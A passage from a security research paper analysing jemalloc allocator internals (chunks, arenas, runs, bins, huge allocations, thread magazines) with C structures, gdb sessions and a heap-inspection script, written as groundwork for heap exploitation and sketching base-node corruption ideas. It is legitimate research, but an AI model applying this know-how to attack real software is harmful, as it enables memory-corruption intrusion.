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--[ 1 - Introduction 

 

In this paper we investigate the security of the jemalloc allocator 

in both theory and practice. We are particularly interested in the 

exploitation of memory corruption bugs, so our security analysis will 

be biased towards that end. 

 

jemalloc is a userland memory allocator. It provides an implementation 

for the standard malloc(3) interface for dynamic memory management. It 

was written by Jason Evans (hence the 'je') for FreeBSD since there 

was a need for a high performance, SMP-enabled memory allocator for 

libc. After that, jemalloc was also used by the Mozilla Firefox browser 

as its internal dedicated custom memory allocator. 

 

All the above have led to a few versions of jemalloc that are very 
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similar but not exactly the same. To summarize, there are three different 

widely used versions of jemalloc: 1) the standalone version [JESA], 

2) the version in the Mozilla Firefox web browser [JEMF], and 3) the 

FreeBSD libc [JEFB] version. 

 

The exploitation vectors we investigate in this paper have been tested 

on the jemalloc versions presented in subsection 1.1, all on the x86 

platform. We assume basic knowledge of x86 and a general familiarity 

with userland malloc() implementations, however these are not strictly 

required. 

 

 

----[ 1.1 - Thousand-faced jemalloc 

 

There are so many different jemalloc versions that we almost went crazy 

double checking everything in all possible platforms. Specifically, we 

tested the latest standalone jemalloc version (2.2.3 at the time of this 

writing), the version included in the latest FreeBSD libc (8.2-RELEASE), 

and the Mozilla Firefox web browser version 11.0. Furthermore, we also 

tested the Linux port of the FreeBSD malloc(3) implementation 

(jemalloc_linux_20080828a in the accompanying code archive) [JELX]. 

 

 

--[ 2 - jemalloc memory allocator overview 

 

The goal of this section is to provide a technical overview of the 

jemalloc memory allocator. However, it is not all-inclusive. We will only 

focus on the details that are useful for understanding the exploitation 

attacks against jemalloc analyzed in the next section. The interested 

reader can look in [JE06] for a more academic treatment of jemalloc 

(including benchmarks, comparisons with other allocators, etc). 

 

Before we start our analysis we would like to point out that jemalloc (as 

well as other malloc implementations) does not implement concepts like 

'unlinking' or 'frontlinking' which have proven to be catalytic for the 

exploitation of dlmalloc and Microsoft Windows allocators. That said, we 

would like to stress the fact that the attacks we are going to present do 

not directly achieve a write-4-anywhere primitive. We, instead, focus on 

how to force malloc() (and possibly realloc()) to return a chunk that will 

most likely point to an already initialized memory region, in hope that 

the region in question may hold objects important for the functionality 

of the target application (C++ VPTRs, function pointers, buffer sizes and 

so on). Considering the various anti-exploitation countermeasures present 

in modern operating systems (ASLR, DEP and so on), we believe that such 

an outcome is far more useful for an attacker than a 4 byte overwrite. 

 

jemalloc, as a modern memory allocator should, recognizes that minimal 

page utilization is no longer the most critical feature. Instead it 

focuses on enhanced performance in retrieving data from the RAM. Based 

on the principle of locality which states that items that are allocated 

together are also used together, jemalloc tries to situate allocations 

contiguously in memory. Another fundamental design choice of jemalloc is 

its support for SMP systems and multi-threaded applications by trying 

to avoid lock contention problems between many simultaneously running 

threads. This is achieved by using many 'arenas' and the first time a 

thread calls into the memory allocator (for example by calling malloc(3)) 

it is associated with a specific arena. The assignment of threads to 

arenas happens with three possible algorithms: 1) with a simple hashing 

on the thread's ID if TLS is available 2) with a simple builtin linear 

congruential pseudo random number generator in case MALLOC_BALANCE is 

defined and TLS is not available 3) or with the traditional round-robin 
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algorithm. For the later two cases, the association between a thread 

and an arena doesn't stay the same for the whole life of the thread. 

 

Continuing our high-level overview of the main jemalloc structures 

before we dive into the details in subsection 2.1, we have the concept of 

'chunks'. jemalloc divides memory into chunks, always of the same size, 

and uses these chunks to store all of its other data structures (and 

user-requested memory as well). Chunks are further divided into 'runs' 

that are responsible for requests/allocations up to certain sizes. A run 

keeps track of free and used 'regions' of these sizes. Regions are the 

heap items returned on user allocations (e.g. malloc(3) calls). Finally, 

each run is associated with a 'bin'. Bins are responsible for storing 

structures (trees) of free regions. 

 

The following diagram illustrates in an abstract manner the relationships 

between the basic building blocks of jemalloc. 

 

  Chunk #0                           Chunk #1 

.--------------------------------. .--------------------------------. 

|                                | |                                | 

|   Run #0         Run #1        | |   Run #0         Run #1        | 

| .-------------..-------------. | | .-------------..-------------. | 

| |             ||             | | | |             ||             | | 

| |   Page      ||   Page      | | | |   Page      ||   Page      | | 

| | .---------. || .---------. | | | | .---------. || .---------. | | 

| | |         | || |         | | | | | |         | || |         | | | ... 

| | | Regions | || | Regions | | | | | | Regions | || | Regions | | | 

| | |[] [] [] | || |[] [] [] | | | | | |[] [] [] | || |[] [] [] | | | 

| | | ^     ^ | || |         | | | | | | ^     ^ | || |         | | | 

| | `-|-----|-' || `---------' | | | | `-|-----|-' || `---------' | | 

| `---|-----|---'`-------------' | | `---|-----|---'`-------------' | 

`-----|-----|--------------------' `-----|-----|--------------------' 

      |     |                            |     | 

      |     |                            |     | 

  .---|-----|----------.             .---|-----|----------. 

  |   |     |          |             |   |     |          | 

  | free regions' tree | ...         | free regions' tree | ... 

  |                    |             |                    | 

  `--------------------'             `--------------------' 

  bin[Chunk #0][Run #0]              bin[Chunk #1][Run #0] 

 

 

----[ 2.1 - Basic structures 

 

In the following paragraphs we analyze in detail the basic jemalloc 

structures. Familiarity with these structures is essential in order to 

begin our understanding of the jemalloc internals and proceed to the 

exploitation step. 

 

 

------[ 2.1.1 - Chunks (arena_chunk_t) 

 

If you are familiar with Linux heap exploitation (and more precisely with 

dlmalloc internals) you have probably heard of the term 'chunk' before. In 

dlmalloc, the term 'chunk' is used to denote the memory regions returned 

by malloc(3) to the end user. We hope you get over it soon because when it 

comes to jemalloc the term 'chunk' is used to describe big virtual memory 

regions that the memory allocator conceptually divides available memory 

into. The size of the chunk regions may vary depending on the jemalloc 

variant used. For example, on FreeBSD 8.2-RELEASE, a chunk is a 1 MB region 

(aligned to its size), while on the latest FreeBSD (in CVS at the time of 
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this writing) a jemalloc chunk is a region of size 2 MB. Chunks are the 

highest abstraction used in jemalloc's design, that is the rest of the 

structures described in the following paragraphs are actually placed within 

a chunk somewhere in the target's memory. 

 

The following are the chunk sizes in the jemalloc variants we have 

examined: 

 

                +---------------------------------------+ 

                | jemalloc variant         | Chunk size | 

                +---------------------------------------+ 

                | FreeBSD 8.2-RELEASE      |    1 MB    | 

                ----------------------------------------- 

                | Standalone v2.2.3        |    4 MB    | 

                ----------------------------------------- 

                | jemalloc_linux_20080828a |    1 MB    | 

                ----------------------------------------- 

                | Mozilla Firefox v5.0     |    1 MB    | 

                ----------------------------------------- 

                | Mozilla Firefox v7.0.1   |    1 MB    | 

                ----------------------------------------- 

                | Mozilla Firefox v11.0    |    1 MB    | 

                ----------------------------------------- 

 

An area of jemalloc managed memory divided into chunks looks like the 

following diagram. We assume a chunk size of 4 MB; remember that chunks are 

aligned to their size. The address 0xb7000000 does not have a particular 

significance apart from illustrating the offsets between each chunk. 

 

+-------------------------------------------------------------------------+ 

|         Chunk alignment        |             Chunk content              | 

+-------------------------------------------------------------------------+ 

| Chunk #1 starts at: 0xb7000000 [  Arena                                 ] 

| Chunk #2 starts at: 0xb7400000 [  Arena                                 ] 

| Chunk #3 starts at: 0xb7800000 [  Arena                                 ] 

| Chunk #4 starts at: 0xb7c00000 [  Arena                                 ] 

| Chunk #5 starts at: 0xb8000000 [  Huge allocation region, see below     ] 

| Chunk #6 starts at: 0xb8400000 [  Arena                                 ] 

| Chunk #7 starts at: 0xb8800000 [  Huge allocation region                ] 

| Chunk #8 starts at: 0xb8c00000 [  Huge allocation region                ] 

| Chunk #9 starts at: 0xb9000000 [  Arena                                 ] 

+-------------------------------------------------------------------------+ 

 

Huge allocation regions are memory regions managed by jemalloc chunks that  

satisfy huge malloc(3) requests. Apart from the huge size class, jemalloc  

also has the small/medium and large size classes for end user allocations  

(both managed by arenas). We analyze jemalloc's size classes of regions in  

subsection 2.1.4. 

 

Chunks are described by 'arena_chunk_t' structures (taken from the 

standalone version of jemalloc; we have added and removed comments in 

order to make things more clear): 
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[2-1] 

 

typedef struct arena_chunk_s arena_chunk_t; 

struct arena_chunk_s 

{ 

    /* The arena that owns this chunk. */ 

    arena_t *arena; 

 

    /* A list of the corresponding arena's dirty chunks. */ 

    ql_elm(arena_chunk_t) link_dirty; 

 

    /*  

     * Whether this chunk contained at some point one or more dirty pages. 

     */ 

    bool dirtied; 

 

    /* This chunk's number of dirty pages. */ 

    size_t ndirty; 

 

    /* 

     * A chunk map element corresponds to a page of this chunk. The map 

     * keeps track of free and large/small regions. 

     */ 

    arena_chunk_map_t map[]; 

}; 

 

 

The main use of chunk maps in combination with the memory alignment of the 

chunks is to enable constant time access to the management metadata of free 

and large/small heap allocations (regions). 

 

 

------[ 2.1.2 - Arenas (arena_t) 

 

An arena is a structure that manages the memory areas jemalloc divides 

into chunks. Arenas can span more than one chunk, and depending on the 

size of the chunks, more than one page as well. As we have already 

mentioned, arenas are used to mitigate lock contention problems between 

threads. Therefore, allocations and deallocations from a thread always 

happen on the same arena. Theoretically, the number of arenas is in direct 

relation to the need for concurrency in memory allocation. In practice the 

number of arenas depends on the jemalloc variant we deal with. For example, 

in Firefox's jemalloc there is only one arena. In the case of single-CPU 

systems there is also only one arena. In SMP systems the number of arenas 

is equal to either two (in FreeBSD 8.2) or four (in the standalone variant) 

times the number of available CPU cores. Of course, there is always at 

least one arena. 

 

Debugging the standalone variant with gdb: 

 

 

gdb $ print ncpus 

$86 = 0x4 

gdb $ print narenas 

$87 = 0x10 

 

 

Arenas are the central jemalloc data structures as they are used to manage 

the chunks (and the underlying pages) that are responsible for the small 

and large allocation size classes. Specifically, the arena structure is 

defined as follows: 
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[2-2] 

 

typedef struct arena_s arena_t; 

struct arena_s 

{ 

    /* This arena's index in the arenas array. */ 

    unsigned ind; 

 

    /* Number of threads assigned to this arena. */ 

    unsigned nthreads; 

 

    /* Mutex to protect certain operations. */ 

    malloc_mutex_t lock; 

 

    /* 

     * Chunks that contain dirty pages managed by this arena. When jemalloc 

     * requires new pages these are allocated first from the dirty pages. 

     */ 

    ql_head(arena_chunk_t) chunks_dirty; 

 

    /* 

     * Each arena has a spare chunk in order to cache the most recently 

     * freed chunk. 

     */ 

    arena_chunk_t *spare; 

 

    /* The number of pages in this arena's active runs. */ 

    size_t nactive; 

 

    /* The number of pages in unused runs that are potentially dirty. */ 

    size_t ndirty; 

 

    /* The number of pages this arena's threads are attempting to purge. */ 

    size_t npurgatory; 

 

    /*  

     * Ordered tree of this arena's available clean runs, i.e. runs 

     * associated with clean pages. 

     */ 

    arena_avail_tree_t runs_avail_clean; 

 

    /* 

     * Ordered tree of this arena's available dirty runs, i.e. runs 

     * associated with dirty pages. 

     */ 

    arena_avail_tree_t runs_avail_dirty; 

 

    /*  

     * Bins are used to store structures of free regions managed by this 

     * arena. 

     */ 

    arena_bin_t bins[]; 

}; 

 

 

All in all a fairly simple structure. As it is clear from the above 

structure, the allocator contains a global array of arenas and an unsigned 

integer representing the number of these arenas: 
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arena_t     **arenas; 

unsigned    narenas; 

 

 

And using gdb we can see the following: 

 

 

gdb $ x/x arenas 

0xb7800cc0: 0xb7800740 

gdb $ print arenas[0] 

$4 = (arena_t *) 0xb7800740 

gdb $ x/x &narenas 

0xb7fdfdc4 <narenas>:   0x00000010 

 

 

At 0xb7800740 we have 'arenas[0]', that is the first arena, and at 

0xb7fdfdc4 we have the number of arenas, i.e 16. 

 

 

------[ 2.1.3 - Runs (arena_run_t) 

 

Runs are further memory denominations of the memory divided by jemalloc 

into chunks. Runs exist only for small and large allocations (see 

subsection 2.1.1), but not for huge allocations. In essence, a chunk 

is broken into several runs. Each run is actually a set of one or more 

contiguous pages (but a run cannot be smaller than one page). Therefore, 

they are aligned to multiples of the page size. The runs themselves may 

be non-contiguous but they are as close as possible due to the tree search 

heuristics implemented by jemalloc. 

 

The main responsibility of a run is to keep track of the state (i.e. free 

or used) of end user memory allocations, or regions as these are called in 

jemalloc terminology. Each run holds regions of a specific size (however 

within the small and large size classes as we have mentioned) and their 

state is tracked with a bitmask. This bitmask is part of a run's metadata; 

these metadata are defined with the following structure: 

 

 

[2-3] 

 

typedef struct arena_run_s arena_run_t; 

struct arena_run_s 

{ 

    /* 

     * The bin that this run is associated with. See 2.1.5 for details on 

     * the bin structures. 

     */ 

    arena_bin_t *bin; 

     

    /* 

     * The index of the next region of the run that is free. On the FreeBSD 

     * and Firefox flavors of jemalloc this variable is named regs_minelm. 

     */ 

    uint32_t nextind; 

     

    /* The number of free regions in the run. */ 

    unsigned nfree; 

 

    /* 

     * Bitmask for the regions in this run. Each bit corresponds to one 
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     * region. A 0 means the region is used, and an 1 bit value that the 

     * corresponding region is free. The variable nextind (or regs_minelm 

     * on FreeBSD and Firefox) is the index of the first non-zero element 

     * of this array. 

     */ 

    unsigned regs_mask[]; 

}; 

 

 

Don't forget to re-read the comments ;) 

 

 

------[ 2.1.4 - Regions/Allocations 

 

In jemalloc the term 'regions' applies to the end user memory areas 

returned by malloc(3). As we have briefly mentioned earlier, regions are 

divided into three classes according to their size, namely a) small/medium, 

b) large and c) huge. 

 

Huge regions are considered those that are bigger than the chunk size minus 

the size of some jemalloc headers. For example, in the case that the chunk 

size is 4 MB (4096 KB) then a huge region is an allocation greater than 

4078 KB. Small/medium are the regions that are smaller than a page. Large 

are the regions that are smaller than the huge regions (chunk size minus 

some headers) and also larger than the small/medium regions (page size). 

 

Huge regions have their own metadata and are managed separately from 

small/medium and large regions. Specifically, they are managed by a 

global to the allocator red-black tree and they have their own dedicated 

and contiguous chunks. Large regions have their own runs, that is each 

large allocation has a dedicated run. Their metadata are situated on 

the corresponding arena chunk header. Small/medium regions are placed 

on different runs according to their specific size. As we have seen in 

2.1.3, each run has its own header in which there is a bitmask array 

specifying the free and the used regions in the run. 

 

In the standalone flavor of jemalloc the smallest run is that for regions 

of size 4 bytes. The next run is for regions of size 8 bytes, the next 

for 16 bytes, and so on. 

 

When we do not mention it specifically, we deal with small/medium and 

large region classes. We investigate the huge region size class separately 

in subsection 2.1.6. 

 

 

------[ 2.1.5 - Bins (arena_bin_t) 

 

Bins are used by jemalloc to store free regions. Bins organize the free 

regions via runs and also keep metadata about their regions, like for 

example the size class, the total number of regions, etc. A specific bin  

may be associated with several runs, however a specific run can only be 

associated with a specific bin, i.e. there is an one-to-many correspondence 

between bins and runs. Bins have their associated runs organized in a tree. 

 

Each bin has an associated size class and stores/manages regions of this 

size class. A bin's regions are managed and accessed through the bin's 

runs. Each bin has a member element representing the most recently used run 

of the bin, called 'current run' with the variable name runcur. A bin also 

has a tree of runs with available/free regions. This tree is used when the 

current run of the bin is full, that is it doesn't have any free regions. 
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A bin structure is defined as follows: 

 

 

[2-4] 

 

typedef struct arena_bin_s arena_bin_t; 

struct arena_bin_s 

{ 

    /* 

     * Operations on the runs (including the current run) of the bin 

     * are protected via this mutex. 

     */ 

    malloc_mutex_t lock; 

 

    /* 

     * The current run of the bin that manages regions of this bin's size 

     * class. 

     */ 

    arena_run_t *runcur; 

 

    /* 

     * The tree of the bin's associated runs (all responsible for regions 

     * of this bin's size class of course). 

     */ 

    arena_run_tree_t runs; 

 

    /* The size of this bin's regions. */ 

    size_t reg_size; 

     

    /* 

     * The total size of a run of this bin. Remember that each run may be 

     * comprised of more than one pages. 

     */ 

    size_t run_size; 

     

    /* The total number of regions in a run of this bin. */ 

    uint32_t nregs; 

     

    /* 

     * The total number of elements in the regs_mask array of a run of this 

     * bin. See 2.1.3 for more information on regs_mask. 

     */ 

    uint32_t regs_mask_nelms; 

     

    /* 

     * The offset of the first region in a run of this bin. This can be  

     * non-zero due to alignment requirements. 

     */ 

    uint32_t reg0_offset; 

}; 

 

 

As an example, consider the following three allocations and that the 

jemalloc flavor under investigation has 2 bytes as the smallest possible 

allocation size (file test-bins.c in the code archive, example run on 

FreeBSD): 

 

 

one = malloc(2); 

two = malloc(8); 

three = malloc(16); 
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Using gdb let's explore jemalloc's structures. First let's see the runs 

that the above allocations created in their corresponding bins: 

 

 

gdb $ print arenas[0].bins[0].runcur 

$25 = (arena_run_t *) 0xb7d01000 

gdb $ print arenas[0].bins[1].runcur 

$26 = (arena_run_t *) 0x0 

gdb $ print arenas[0].bins[2].runcur 

$27 = (arena_run_t *) 0xb7d02000 

gdb $ print arenas[0].bins[3].runcur 

$28 = (arena_run_t *) 0xb7d03000 

gdb $ print arenas[0].bins[4].runcur 

$29 = (arena_run_t *) 0x0 

 

 

Now let's see the size classes of these bins: 

 

 

gdb $ print arenas[0].bins[0].reg_size 

$30 = 0x2 

gdb $ print arenas[0].bins[1].reg_size 

$31 = 0x4 

gdb $ print arenas[0].bins[2].reg_size 

$32 = 0x8 

gdb $ print arenas[0].bins[3].reg_size 

$33 = 0x10 

gdb $ print arenas[0].bins[4].reg_size 

$34 = 0x20 

 

 

We can see that our three allocations of sizes 2, 8 and 16 bytes resulted 

in jemalloc creating runs for these size classes. Specifically, 'bin[0]' 

is responsible for the size class 2 and its current run is at 0xb7d01000, 

'bin[1]' is responsible for the size class 4 and doesn't have a current 

run since no allocations of size 4 were made, 'bin[2]' is responsible 

for the size class 8 with its current run at 0xb7d02000, and so on. In the 

code archive you can find a Python script for gdb named unmask_jemalloc.py 

for easily enumerating the size of bins and other internal information in 

the various jemalloc flavors (see 2.1.8 for a sample run). 

 

At this point we should mention that in jemalloc an allocation of zero 

bytes (that is a malloc(0) call) will return a region of the smallest size 

class; in the above example a region of size 2. The smallest size class 

depends on the flavor of jemalloc. For example, in the standalone flavor it 

is 4 bytes. 
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The following diagram summarizes our analysis of jemalloc up to this point: 

 

   .----------------------------------.       .---------------------------. 

 .----------------------------------. |    +--+-----> arena_chunk_t       | 

.---------------------------------. | |    |  |                           | 

|             arena_t             | | |    |  |  .---------------------.  | 

|                                 | | |    |  |  |                     |  | 

| .--------------------.          | | |    |  |  |     arena_run_t     |  | 

| | arena_chunk_t list |-----+    | | |    |  |  |                     |  | 

| `--------------------'     |    | | |    |  |  |    .-----------.    |  | 

|                            |    | | |    |  |  |    |   page    |    |  | 

|   arena_bin_t bins[];      |    | | |    |  |  |    +-----------+    |  | 

| .------------------------. |    | | |    |  |  |    |  region   |    |  | 

| | bins[0]  ...  bins[27] | |    | | |    |  |  |    +-----------+    |  | 

| `------------------------' |    | |.'    |  |  |    |  region   |    |  | 

|     |                      |    |.'      |  |  |    +-----------+    |  | 

`-----+----------------------+----'        |  |  |    |  region   |    |  | 

      |                      |             |  |  |    +-----------+    |  | 

      |                      |             |  |  |        . . .        |  | 

      |                      v             |  |  |    .-----------.    |  | 

      |            .-------------------.   |  |  |    |   page    |    |  | 

      |            | .---------------. |   |  |  |    +-----------+    |  | 

      |            | | arena_chunk_t |-+---+  |  |    |  region   |    |  | 

      |            | `---------------' |      |  |    +-----------+    |  | 

      |     [2-5]  | .---------------. |      |  |    |  region   |    |  | 

      |            | | arena_chunk_t | |      |  |    +-----------+    |  | 

      |            | `---------------' |      |  |    |  region   |    |  | 

      |            |       . . .       |      |  |    +-----------+    |  | 

      |            | .---------------. |      |  |                     |  | 

      |            | | arena_chunk_t | |      |  `---------------------'  | 

      |            | `---------------' |      |          [2-6]            | 

      |            |       . . .       |      |  .---------------------.  | 

      |            `-------------------'      |  |                     |  | 

      |                                  +----+--+---> arena_run_t     |  | 

      |                                  |    |  |                     |  | 

      +----------+                       |    |  |    .-----------.    |  | 

                 |                       |    |  |    |   page    |    |  | 

                 |                       |    |  |    +-----------+    |  | 

                 |                       |    |  |    |  region   |    |  | 

                 v                       |    |  |    +-----------+    |  | 

    .--------------------------.         |    |  |    |  region   |    |  | 

    |       arena_bin_t        |         |    |  |    +-----------+    |  | 

    |     bins[0] (size 8)     |         |    |  |    |  region   |    |  | 

    |                          |         |    |  |    +-----------+    |  | 

    | .----------------------. |         |    |  |        . . .        |  | 

    | | arena_run_t *runcur; |-+---------+    |  |    .-----------.    |  | 

    | `----------------------' |              |  |    |   page    |    |  | 

    `--------------------------'              |  |    +-----------+    |  | 

                                              |  |    |  region   |    |  | 

                                              |  |    +-----------+    |  | 

                                              |  |    |  region   |    |  | 

                                              |  |    +-----------+    |  | 

                                              |  |    |  region   |    |  | 

                                              |  |    +-----------+    |  | 

                                              |  |                     |  | 

                                              |  `---------------------'  | 

                                              `---------------------------' 
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------[ 2.1.6 - Huge allocations 

 

Huge allocations are not very interesting for the attacker but they are an 

integral part of jemalloc which may affect the exploitation process. Simply 

put, huge allocations are represented by 'extent_node_t' structures that  

are ordered in a global red black tree which is common to all threads. 

 

 

[2-7] 

 

/* Tree of extents. */ 

typedef struct extent_node_s extent_node_t; 

struct extent_node_s { 

    #ifdef MALLOC_DSS 

        /* Linkage for the size/address-ordered tree. */ 

        rb_node(extent_node_t) link_szad; 

    #endif 

 

    /* Linkage for the address-ordered tree. */ 

    rb_node(extent_node_t) link_ad; 

 

    /* Pointer to the extent that this tree node is responsible for. */ 

    void *addr; 

 

    /* Total region size. */ 

    size_t size; 

}; 

typedef rb_tree(extent_node_t) extent_tree_t; 

 

 

The 'extent_node_t' structures are allocated in small memory regions 

called base nodes. Base nodes do not affect the layout of end user heap 

allocations since they are served either by the DSS or by individual 

memory mappings acquired by 'mmap()'. The actual method used to allocate 

free space depends on how jemalloc was compiled with 'mmap()' being 

the default. 

 

 

/* Allocate an extent node with which to track the chunk. */ 

node = base_node_alloc(); 

... 

 

ret = chunk_alloc(csize, zero); 

... 

 

/* Insert node into huge. */ 

node->addr = ret; 

node->size = csize; 

... 

 

malloc_mutex_lock(&huge_mtx); 

extent_tree_ad_insert(&huge, node); 

 

 

The most interesting thing about huge allocations is the fact that free 

base nodes are kept in a simple array of pointers called 'base_nodes'. The 

aforementioned array, although defined as a simple pointer, it's handled 

as if it was a two dimensional array holding pointers to available base 

nodes. 
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static extent_node_t *base_nodes; 

... 

 

static extent_node_t * 

base_node_alloc(void) 

{ 

    extent_node_t *ret; 

 

    malloc_mutex_lock(&base_mtx); 

    if (base_nodes != NULL) { 

        ret = base_nodes; 

        base_nodes = *(extent_node_t **)ret; 

        ... 

    } 

    ... 

} 

 

static void 

base_node_dealloc(extent_node_t *node) 

{ 

    malloc_mutex_lock(&base_mtx); 

    *(extent_node_t **)node = base_nodes; 

    base_nodes = node; 

    ... 

} 

 

 

Taking into account how 'base_node_alloc()' works, it's obvious that if 

an attacker corrupts the pages that contain the base node pointers, she 

can force jemalloc to use an arbitrary address as a base node pointer. This 

itself can lead to interesting scenarios but they are out of the scope 

of this article since the chances of achieving something like this are 

quite low. Nevertheless, a quick review of the code reveals that one 

may be able to achieve this goal by forcing huge allocations once she 

controls the physically last region of an arena. The attack is possible 

if and only if the mappings that will hold the base pointers are allocated 

right after the attacker controlled region. 

 

A careful reader would have noticed that if an attacker manages to pass 

a controlled value as the first argument to 'base_node_dealloc()' she 

can get a '4bytes anywhere' result. Unfortunately, as far as the authors 

can see, this is possible only if the global red black tree holding the 

huge allocations is corrupted. This situation is far more difficult to 

achieve than the one described in the previous paragraph. Nevertheless, 

we would really like to hear from anyone that manages to do so. 

 

 

------[ 2.1.7 - Thread caches (tcache_t) 

 

In the previous paragraphs we mentioned how jemalloc allocates new arenas 

at will in order to avoid lock contention. In this section we will focus on 

the mechanisms that are activated on multicore systems and multithreaded 

programs. 

 

Let's set the following straight: 

 

1) A multicore system is the reason jemalloc allocates more than one arena. 

On a unicore system there's only one available arena, even on multithreaded 

applications. However, the Firefox jemalloc variant has just one arena 

hardcoded, therefore it has no thread caches. 
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2) On a multicore system, even if the target application runs on a single 

thread, more than one arenas are used. 

 

No matter what the number of cores on the system is, a multithreaded 

application utilizing jemalloc will make use of the so called 'magazines' 

(also called 'tcaches' on newer versions of jemalloc). Magazines (tcaches) 

are thread local structures used to avoid thread blocking problems. 

Whenever a thread wishes to allocate a memory region, jemalloc will use 

those thread specific data structures instead of following the normal code 

path. 

 

 

void * 

arena_malloc(arena_t *arena, size_t size, bool zero) 

{ 

    ... 

 

    if (size <= bin_maxclass) { 

#ifdef MALLOC_MAG 

        if (__isthreaded && opt_mag) { 

            mag_rack_t *rack = mag_rack; 

            if (rack == NULL) { 

                rack = mag_rack_create(arena); 

                ... 

 

                return (mag_rack_alloc(rack, size, zero)); 

            } 

            else 

#endif 

                return (arena_malloc_small(arena, size, zero)); 

        } 

        ... 

} 

 

 

The 'opt_mag' variable is true by default. The variable '__isthreaded' is 

exported by 'libthr', the pthread implementation for FreeBSD and is set to 

1 on a call to 'pthread_create()'. Obviously, the rest of the details are 

out of the scope of this article. 

 

In this section we will analyze thread magazines, but the exact same 

principles apply on the tcaches (the change in the nomenclature is probably 

the most notable difference between them). 

 

The behavior of thread magazines is affected by the following macros that 

are _defined_: 

 

  MALLOC_MAG - Make use of thread magazines. 

 

  MALLOC_BALANCE - Balance arena usage using a simple linear random number 

  generator (have a look at 'choose_arena()'). 

 

The following constants are _undefined_: 

 

  NO_TLS - TLS _is_ available on __i386__ 

 

Furthermore, 'opt_mag', the jemalloc runtime option controlling thread 

magazine usage, is, as we mentioned earlier, enabled by default. 

 

The following figure depicts the relationship between the various thread 

magazines' structures. 
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.-------------------------------------------. 

|                mag_rack_t                 | 

|                                           | 

|           bin_mags_t bin_mags[];          | 

|                                           | 

|  .-------------------------------------.  | 

|  | bin_mags[0] ... bin_mags[nbins - 1] |  | 

|  `-------------------------------------'  | 

`--------|----------------------------------' 

         | 

         |                                   .------------------. 

         |                      +----------->|      mag_t       | 

         v                      |            |                  | 

.----------------------.        |            |  void *rounds[]  | 

|      bin_mags_t      |        |            |       ...        | 

|                      |        |            `------------------' 

|  .----------------.  |        | 

|  | mag_t *curmag; |-----------+ 

|  `----------------'  | 

|         ...          | 

`----------------------' 

 

 

The core of the aforementioned thread local metadata is the 'mag_rack_t'. A 

'mag_rack_t' is a simplified equivalent of an arena. It is composed of a 

single array of 'bin_mags_t' structures. Each thread in a program is 

associated with a private 'mag_rack_t' which has a lifetime equal to the 

application's. 

 

 

typedef struct mag_rack_s mag_rack_t; 

struct mag_rack_s { 

    bin_mags_t bin_mags[1]; /* Dynamically sized. */ 

}; 

 

 

Bins belonging to magazine racks are represented by 'bin_mags_t' structures 

(notice the plural form). 

 

 

/* 

 * Magazines are lazily allocated, but once created, they remain until the 

 * associated mag_rack is destroyed. 

 */ 

typedef struct bin_mags_s bin_mags_t; 

struct bin_mags_s { 

    mag_t *curmag; 

    mag_t *sparemag; 

}; 

 

typedef struct mag_s mag_t; 

struct mag_s { 

    size_t binind; /* Index of associated bin. */ 

    size_t nrounds; 

    void *rounds[1]; /* Dynamically sized. */ 

}; 

 

 

Just like a normal bin is associated with a run, a 'bin_mags_t' structure 
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is associated with a magazine pointed by 'curmag' (recall 'runcur'). A 

magazine is nothing special but a simple array of void pointers which hold 

memory addresses of preallocated memory regions which are exclusively used 

by a single thread. Magazines are populated in function 'mag_load()' as 

seen below. 

 

 

void 

mag_load(mag_t *mag) 

{ 

    arena_t *arena; 

    arena_bin_t *bin; 

    arena_run_t *run; 

    void *round; 

    size_t i; 

 

    /* Pick a random arena and the bin responsible for servicing 

     * the required size class. 

     */ 

    arena = choose_arena(); 

    bin = &arena->bins[mag->binind]; 

    ... 

 

    for (i = mag->nrounds; i < max_rounds; i++) { 

        ... 

 

        if ((run = bin->runcur) != NULL && run->nfree > 0) 

            round = arena_bin_malloc_easy(arena, bin, run); /* [3-23] */ 

        else 

            round = arena_bin_malloc_hard(arena, bin); /* [3-24] */ 

 

        if (round == NULL) 

            break; 

 

        /* Each 'rounds' holds a preallocated memory region. */ 

        mag->rounds[i] = round; 

    } 

 

    ... 

    mag->nrounds = i; 

} 

 

 

When a thread calls 'malloc()', the call chain eventually reaches 

'mag_rack_alloc()' and then 'mag_alloc()'. 

 

 

/* Just return the next available void pointer. It points to one of the 

 * preallocated memory regions. 

 */ 

void * 

mag_alloc(mag_t *mag) 

{ 

    if (mag->nrounds == 0) 

        return (NULL); 

    mag->nrounds--; 

 

    return (mag->rounds[mag->nrounds]); 

} 
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The most notable thing about magazines is the fact that 'rounds', the array 

of void pointers, as well as all the related thread metadata (magazine 

racks, magazine bins and so on) are allocated by normal calls to functions 

'arena_bin_malloc_xxx()' ([3-23], [3-24]). This results in the thread 

metadata lying around normal memory regions. 

 

 

------[ 2.1.8 - Unmask jemalloc 

 

As we are sure you are all aware, since version 7.0, gdb can be scripted 

with Python. In order to unmask and bring to light the internals of the 

various jemalloc flavors, we have developed a Python script for gdb 

appropriately named unmask_jemalloc.py.  The following is a sample run of 

the script on Firefox 11.0 on Linux x86 (edited for readability): 

 

 

$ ./firefox-bin & 

 

$ gdb -x ./gdbinit -p `ps x | grep firefox | grep -v grep \ 

| grep -v debug | awk '{print $1}'` 

 

GNU gdb (GDB) 7.4-debian 

... 

Attaching to process 3493 

add symbol table from file "/dbg/firefox-latest-symbols/firefox-bin.dbg" at 

    .text_addr = 0x80494b0 

add symbol table from file "/dbg/firefox-latest-symbols/libxul.so.dbg" at 

    .text_addr = 0xb5b9a9d0 

... 

[Thread 0xa4ffdb70 (LWP 3533) exited] 

[Thread 0xa57feb70 (LWP 3537) exited] 

[New Thread 0xa57feb70 (LWP 3556)] 

[Thread 0xa57feb70 (LWP 3556) exited] 

 

gdb $ source unmask_jemalloc.py 

gdb $ unmask_jemalloc runs 

 

[jemalloc] [number of arenas:       1] 

[jemalloc] [number of bins:         24] 

[jemalloc] [no magazines/thread caches detected] 

 

[jemalloc] [arena #00] [bin #00] [region size: 0x0004] 

                                            [current run at: 0xa52d9000] 

[jemalloc] [arena #00] [bin #01] [region size: 0x0008] 

                                            [current run at: 0xa37c8000] 

[jemalloc] [arena #00] [bin #02] [region size: 0x0010] 

                                            [current run at: 0xa372c000] 

[jemalloc] [arena #00] [bin #03] [region size: 0x0020] 

                                            [current run at: 0xa334d000] 

[jemalloc] [arena #00] [bin #04] [region size: 0x0030] 

                                            [current run at: 0xa3347000] 

[jemalloc] [arena #00] [bin #05] [region size: 0x0040] 

                                            [current run at: 0xa334a000] 

[jemalloc] [arena #00] [bin #06] [region size: 0x0050] 

                                            [current run at: 0xa3732000] 

